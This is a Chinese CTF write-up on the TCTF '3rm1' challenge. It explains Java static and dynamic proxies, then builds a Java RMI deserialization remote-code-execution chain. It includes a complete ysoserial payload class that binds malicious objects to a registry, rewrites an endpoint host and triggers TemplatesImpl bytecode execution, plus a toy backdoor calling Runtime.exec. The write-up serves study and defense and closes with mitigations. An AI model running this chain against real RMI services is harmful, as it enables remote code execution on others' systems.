从TCTF的3rm1学习java动态代理
字数 1180 2025-08-26 22:11:51

Java动态代理与反序列化漏洞利用深入解析

一、Java代理模式基础

1.1 代理模式概述

代理模式是Java设计模式中的一种,其特征是:

  • 代理类与委托类实现相同的接口
  • 代理类负责预处理消息、过滤消息、转发消息给委托类及事后处理
  • 代理类对象与委托类对象关联,代理类不真正实现服务,而是通过调用委托类对象的方法提供服务

1.2 静态代理实现

静态代理需要三个组件:

  1. 公共接口
  2. 具体实现类
  3. 代理类(持有具体类实例)

示例代码结构

// 公共接口
public interface Event {
    void SubmitWork();
}

// 具体实现类
public class Student implements Event {
    String name;
    public Student(String n) { this.name = n; }
    
    @Override
    public void SubmitWork() {
        System.out.println(this.name + "提交作业");
    }
}

// 代理类
public class StudentInnovation implements Event {
    Student student;
    int count = 0;
    
    public StudentInnovation(Student stu) {
        if(stu.getClass() == Student.class) {
            this.student = (Student)stu;
        }
    }
    
    @Override
    public void SubmitWork() {
        this.student.SubmitWork();
        this.count += 1;
        System.out.println("已收作业数量为" + this.count);
    }
}

静态代理缺点

  • 需要为每个被代理类编写代理类
  • 接口变更时需修改所有相关类

1.3 动态代理实现

动态代理利用反射机制在运行时创建代理类,核心类是InvocationHandler

动态代理实现示例

public class ProxyHandler implements InvocationHandler {
    private Object object;
    int count = 0;
    
    public ProxyHandler(Object object) {
        this.object = object;
    }
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        method.invoke(object, args);
        this.count += 1;
        System.out.println("已收作业数量为" + this.count);
        return null;
    }
}

// 使用方式
Student s1 = new Student("张三");
InvocationHandler handler = new ProxyHandler(s1);
Event proxyHello = (Event)Proxy.newProxyInstance(
    s1.getClass().getClassLoader(),
    s1.getClass().getInterfaces(),
    handler
);
proxyHello.SubmitWork();

二、动态代理的安全利用

2.1 攻击场景构建

组件说明

  1. 公共接口:
public interface Teacher {
    Object getObject();
    void attack();
}
  1. 正常实现类:
public class A implements Teacher {
    Object object;
    
    @Override public Object getObject() { return null; }
    @Override public void attack() { System.out.println("attack"); }
}
  1. 后门类:
public class Backdoor implements Teacher {
    @Override public Object getObject() { return null; }
    @Override public void attack() {
        try { Runtime.getRuntime().exec("calc"); } 
        catch(IOException e) { e.printStackTrace(); }
    }
}
  1. 可利用代理类:
public class myProxy implements InvocationHandler {
    private Object object;
    public myProxy(Object o) { this.object = o; }
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        return this.object;
    }
}
  1. 目标代理类:
public class ProxyHandler implements InvocationHandler {
    private A object;
    public ProxyHandler(Object object) { this.object = (A)object; }
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("method is " + method.getName());
        method.invoke(this.object.getObject(), args);
        return null;
    }
}

2.2 攻击链构造思路

攻击目标是调用Backdoor.attack()方法,关键点:

  1. 控制ProxyHandler.invoke()中的methodattack
  2. 使this.object.getObject()返回Backdoor实例

利用代码

public class main {
    public static void main(String[] args) throws Exception {
        A t = new A();
        Backdoor backdoor = new Backdoor();
        
        // 创建后门代理
        InvocationHandler backdoorhandler = new myProxy(backdoor);
        Teacher proxyInstance = (Teacher)Proxy.newProxyInstance(
            backdoor.getClass().getClassLoader(),
            new Class[]{Teacher.class},
            backdoorhandler
        );
        
        // 修改目标代理的object字段
        InvocationHandler handler = new ProxyHandler(t);
        Field field = handler.getClass().getDeclaredField("object");
        field.setAccessible(true);
        field.set(handler, proxyInstance);
        
        // 触发攻击
        Teacher proxyHello = (Teacher)Proxy.newProxyInstance(
            t.getClass().getClassLoader(),
            t.getClass().getInterfaces(),
            handler
        );
        proxyHello.attack();
    }
}

三、TCTF 3rm1题目分析

3.1 题目背景

  • 题目提供RMI服务
  • 服务端绑定固定,无法直接进行JNDI注入
  • 目标:在RMI服务端绑定恶意对象,使客户端反序列化时触发RCE

3.2 解题思路

  1. 绕过JDK高版本限制

    • 使用RemoteObjectInvocationHandler替代AnnotationInvocationHandler
    • 利用自实现接口绑定到注册中心
  2. 反序列化链构造

    • 参考Spring1链,但需适配题目环境
    • 最终链调用顺序:
      Gadget.readObject()
      → UserInter(Proxy).getGirlFriend()
      → RemoteObjectInvocationHandler.invoke()
      → UnicastRef.invoke()
      → StreamRemoteCall#executeCall()
      → UserInter.getGirlFriend()
      → Templates(Proxy).newTransformer()
      → MyInvocationHandler.invoke()
      → FactoryInter(Proxy).getObject()
      → RemoteObjectInvocationHandler.invoke()
      → UnicastRef.invoke()
      → StreamRemoteCall#executeCall()
      → FactoryInter.getObject()
      → Method.invoke()
      → TemplatesImpl.newTransformer()
      → TemplatesImpl.getTransletInstance()
      → TemplatesImpl.defineTransletClasses()
      → TemplatesImpl.TransletClassLoader.defineClass()
      → 恶意代码执行
      

3.3 完整攻击代码

package ysoserial.payloads;

import com.ctf.threermi.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;

class UserImpl implements UserInter {
    Registry registry;
    { try { registry = LocateRegistry.getRegistry(7777); } 
      catch(RemoteException e) { e.printStackTrace(); } }
    
    @Override public String sayHello(String paramString) { return null; }
    
    @Override public Friend getGirlFriend() throws RemoteException {
        FactoryInter factoryInter = null;
        try {
            final Class<?>[] allIfaces = (Class<?>[])Array.newInstance(Class.class, 2);
            allIfaces[0] = FactoryInter.class;
            allIfaces[1] = Remote.class;
            factoryInter = (FactoryInter)Proxy.newProxyInstance(
                FactoryInter.class.getClassLoader(), 
                allIfaces, 
                Proxy.getInvocationHandler(registry.lookup("factory"))
            );
        } catch(Exception e) { e.printStackTrace(); }
        
        final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        try { Reflections.setFieldValue(myInvocationHandler, "object", factoryInter); } 
        catch(Exception e) { e.printStackTrace(); }
        
        final Friend friend = Gadgets.createProxy(
            myInvocationHandler, Friend.class, Templates.class
        );
        return friend;
    }
}

class FactoryImpl implements FactoryInter {
    String cmd;
    @Override public Object getObject() throws Exception {
        return Gadgets.createTemplatesImpl(this.cmd);
    }
}

public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload<Object> {
    public Object getObject(final String command) throws Exception {
        int evilServerPort = 7777;
        Registry registry = LocateRegistry.createRegistry(evilServerPort);
        
        UserImpl user1 = new UserImpl();
        registry.bind("UserImpl", UnicastRemoteObject.exportObject(user1, evilServerPort));
        
        FactoryImpl factoryImpl = new FactoryImpl();
        Reflections.setFieldValue(factoryImpl, "cmd", command);
        registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));
        
        InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
        Field field = ref.getClass().getSuperclass().getDeclaredField("ref");
        field.setAccessible(true);
        UnicastRef unicastRef = (UnicastRef)field.get(ref);
        
        LiveRef liveRef = (LiveRef)Reflections.getFieldValue(unicastRef, "ref");
        TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef, "ep");
        Reflections.setFieldValue(tcpEndpoint, "host", "10.122.207.125");
        
        RemoteObjectInvocationHandler remoteObjectInvocationHandler = 
            new RemoteObjectInvocationHandler((RemoteRef)Reflections.getFieldValue(ref, "ref"));
        
        final UserInter user = (UserInter)Proxy.newProxyInstance(
            UserInter.class.getClassLoader(), 
            new Class[]{UserInter.class, Remote.class}, 
            remoteObjectInvocationHandler
        );
        
        Gadget gadget = new Gadget();
        Reflections.setFieldValue(gadget, "user", user);
        Reflections.setFieldValue(gadget, "mName", "newTransformer");
        return gadget;
    }
    
    public static void main(String[] args) throws Exception {
        PayloadRunner.run(TCTF3rmiExp.class, args);
    }
}

四、关键知识点总结

  1. 动态代理利用要点

    • 控制InvocationHandler.invoke()的返回值
    • 通过多层代理构造调用链
    • 利用反射修改关键字段值
  2. RMI攻击关键

    • 绑定恶意对象到RMI注册中心
    • 控制RemoteObjectInvocationHandlerref字段
    • 利用StreamRemoteCall#executeCall()的反序列化点
  3. 高版本JDK绕过

    • 避免使用AnnotationInvocationHandler
    • 使用RemoteObjectInvocationHandler替代
    • 通过自实现接口控制返回对象
  4. 反序列化链构造

    • 结合TemplatesImpl执行字节码
    • 通过代理控制方法调用流程
    • 利用RMI协议特性传递恶意对象

五、防御建议

  1. 升级JDK到最新版本
  2. 限制反序列化操作,使用白名单机制
  3. 对RMI服务进行网络隔离
  4. 使用安全管理器限制敏感操作
  5. 监控和过滤可疑的序列化数据
Java动态代理与反序列化漏洞利用深入解析 一、Java代理模式基础 1.1 代理模式概述 代理模式是Java设计模式中的一种,其特征是: 代理类与委托类实现相同的接口 代理类负责预处理消息、过滤消息、转发消息给委托类及事后处理 代理类对象与委托类对象关联,代理类不真正实现服务,而是通过调用委托类对象的方法提供服务 1.2 静态代理实现 静态代理需要三个组件: 公共接口 具体实现类 代理类(持有具体类实例) 示例代码结构 : 静态代理缺点 : 需要为每个被代理类编写代理类 接口变更时需修改所有相关类 1.3 动态代理实现 动态代理利用反射机制在运行时创建代理类,核心类是 InvocationHandler 。 动态代理实现示例 : 二、动态代理的安全利用 2.1 攻击场景构建 组件说明 : 公共接口: 正常实现类: 后门类: 可利用代理类: 目标代理类: 2.2 攻击链构造思路 攻击目标是调用 Backdoor.attack() 方法,关键点: 控制 ProxyHandler.invoke() 中的 method 为 attack 使 this.object.getObject() 返回 Backdoor 实例 利用代码 : 三、TCTF 3rm1题目分析 3.1 题目背景 题目提供RMI服务 服务端绑定固定,无法直接进行JNDI注入 目标:在RMI服务端绑定恶意对象,使客户端反序列化时触发RCE 3.2 解题思路 绕过JDK高版本限制 : 使用 RemoteObjectInvocationHandler 替代 AnnotationInvocationHandler 利用自实现接口绑定到注册中心 反序列化链构造 : 参考Spring1链,但需适配题目环境 最终链调用顺序: 3.3 完整攻击代码 四、关键知识点总结 动态代理利用要点 : 控制 InvocationHandler.invoke() 的返回值 通过多层代理构造调用链 利用反射修改关键字段值 RMI攻击关键 : 绑定恶意对象到RMI注册中心 控制 RemoteObjectInvocationHandler 的 ref 字段 利用 StreamRemoteCall#executeCall() 的反序列化点 高版本JDK绕过 : 避免使用 AnnotationInvocationHandler 使用 RemoteObjectInvocationHandler 替代 通过自实现接口控制返回对象 反序列化链构造 : 结合 TemplatesImpl 执行字节码 通过代理控制方法调用流程 利用RMI协议特性传递恶意对象 五、防御建议 升级JDK到最新版本 限制反序列化操作,使用白名单机制 对RMI服务进行网络隔离 使用安全管理器限制敏感操作 监控和过滤可疑的序列化数据